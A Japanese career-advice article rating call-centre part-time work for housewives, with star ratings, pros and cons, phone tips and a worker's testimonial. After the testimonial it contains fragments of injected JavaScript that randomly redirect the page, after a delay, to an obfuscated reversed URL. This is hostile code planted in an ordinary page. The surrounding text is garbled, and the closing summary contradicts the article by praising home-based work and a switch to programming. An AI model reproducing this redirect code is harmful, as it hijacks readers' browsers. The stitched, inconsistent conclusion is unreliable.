コールセンターのパートは主婦向け？口コミや続けやすさを調査！

Pocket

パートの求人を見ていると、時給800円、900円などの文字が目につきます。

正社員として稼いでいた時代と比べて、安いな…とため息をついている主婦は多いのではないでしょうか？

そんな中で、比較的時給が高めのコールセンターの仕事は、目を引きますよね。

この仕事が主婦にとってどんなメリット・デメリットがあるのか、口コミや続けやすさを調査してみました！

コールセンターのパートはどんな仕事？

かかってきた電話を受けるテレフォンオペレーター（テレオペ）と、自分から電話をかけるテレフォンアポインター（テレアポ）の仕事がある
テレアポの方が、テレオペより少し時給が高め
シフト制だが、一日の拘束時間は6～8時間と長い傾向にある
クレーム対応などの仕事も、ときどき入ってくる

コールセンターのパートをチャート形式で評価すると

評価の解説

始めやすさについて：★★★★★（5点満点中3点）: 人の出入りが比較的頻繁な職業であるため、求人は常にあります。
しかし接客のための会話力などを問われますから、面接の難易度は中～高。総合して考えて、3点としました。
時間の自由度について：★★★★★（5点満点中1点）: パートの場合、シフトで勤務日が決まります。
勤務時間は固定で、子どもが病気の場合にも、ちょっと抜けてお迎えに行く…といったことはできませんから、時間の自由度はないと言えます。
報酬について：★★★★★（5点満点中2点）: 平均時給は1,000円と、パートの中では高めです。
しかし、他の職種を含めて総合的に判断すると、真ん中よりやや下に位置する金額なので、2点としました。
続けやすさ：★★★★★（5点満点中1点）: 拘束時間が6～8時間と長めで、その間、ひたすら電話をしています。
また、クレームやいたずら電話などの相手をする必要もあるため、精神面での疲労が大きく、入れ替わりの激しい職種です。
復職しやすさ：★★★★★（5点満点中2点）: 電話に特化したスキルが身に付きますので、同じコールセンター業務であれば、いつでも復職できるでしょう。
しかし、幅広い意味では、オフィスワークへの復職の助けとはなりません。

コールセンターパートのメリット・デメリット

メリットは、人の出入りが頻繁なので募集は多く始めやすい: 評価の「始めやすさ」の欄でもお伝えしましたが、募集は常に出ていますので、ビジネスマナーやトークに問題がなければ始めやすい仕事と言えるでしょう。
面接のときは、できればジャケットやスーツ着用で行った方が無難です。

デメリットはクレーム対応など、ストレスが多いこと: お客様からのクレーム対応などをする必要がありますから、ストレスが多いということが欠点です。
クレーム対応もスキルの一種なので、慣れてくれば上手にこなせるようになってきます。
しかし、精神面でのタフさがない主婦には向かないかもしれません。

コールセンターで仕事をするポイントは

言葉は礼儀正しく、分かりやすく、はっきりと

人の「会話」は、言葉で伝わる部分は7％、それ以外の93％は、みぶりや手振り、表情などで伝わっています。

電話は、その「目で見えるコミュニケーション」ができない分、伝えるための工夫が必要となります。

言葉ははっきりと、分かりやすく伝えましょう。

また、結論から先に述べ、理由を後から述べるなどという「話す順番」も大切になります。

また、見えないからといって仏頂面で話をしていると、音声を介して、それが伝わってしまいます。

見えなくても笑顔で、お礼を言うときは実際に頭を下げて話せば、お客様からの印象もぐっとアップします。

パート主婦に人気の職種は本当に子育ての味方なの？

コールセンターパートで稼いだ経験者の口コミ

回答者：33歳山内さん（既婚主婦）

コールセンターでのパートをはじめてどのくらい経ちますか？: 8カ月になります。
お給料はいくらくらいですか？: だいたい月に85,000円くらい。1日7時間勤務で週3日、時給は1,000円です。
家庭との両立で、気を付けたことは？: 仕事の日は時間が長いので、子どものお迎えは実家の母の協力を得ながらやっています。
家が近いのと、週3日なので、引き受けてもらえました。
あとは、仕事の日の夜ご飯の下ごしらえを、仕事がない日にやっておくことでしょうか。

dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tome”>

$\text{[math]}$ キャリアアドバイザーとしてこの仕事を総評すると

コールセンターでのパートは、下記のような主婦に向いていると言えるでしょう。

初心者でも学べば1か月程度でプロデビューできる
仕事の数が豊富で、在宅でも仕事ができる
熟練すれば、家事や育児と両立しながら、正社員並の稼ぎを得ることができる

このような特徴のある仕事で、スキルを磨いていけば、更に専門性の高いプログラマーへの転身も可能となります。

HTMLコーダーで未経験から在宅ワークフリーランス特集！

在宅プログラマーは年収1000万稼ぐ女性になるには？

通信講座なら自宅で勉強でき、仕事も自宅ででき、稼げるプロになれる。

主婦にとって、こんなにうってつけの仕事はないと、私は考えています。

自宅で仕事ができるのですから、もし次の出産・育児で仕事を休んでも、そもそも「復職」という考え方すら不要になりますよね。

家庭を持つと、女性の仕事選びにはとたんに制限事項が多くなるのが、日本の現状。

環境が変わることを待つより、スキルを身に付けることで、より自由に活躍できる選択肢を手にいれてはいかがでしょうか？

女性・主婦向けweb通信講座おすすめスクール5選！

女性のキャリアアップの悩み子育てとの両立はできる？

子育てしながら働きたい女性は女性のためのお仕事特集記事一覧へ
在宅ワークの基本知識は在宅ワーク特集へ

次のページ >> パート勤務は本当に子育ての味方か？～探そう！ママにおすすめの仕事～

この記事を書いた人
最新の記事

萩原由紀

バツイチキャリアアドバイザー。ニコリともしない人見知りなインドア女だったが、前夫との離婚を機に人材派遣業の世界へ飛び込む。営業としてキャリアを重ね支店管理者まで勤めたが、自営業を営む現在の夫との再婚を機に、夫の仕事を手伝うか自分のキャリアを追求するか迷い、思い切って退職。その後、いくつか職を変えながら生き方を模索している最中に、Web制作とWebライターの仕事に出会い、在宅でもキャリア形成ができることに感動する。現在はWeb制作のスキルをきっかけとして、ある組織のシステム管理を任せてもらいながら、ライターとして情報発信をしている。生き方に迷いながらも勇気が出ず、一歩を踏み出せない女性の背中をそっと押せたら・・・と本人は語る。得意分野：労働法、キャリア形成、職場の人間関係、ビジネスマナー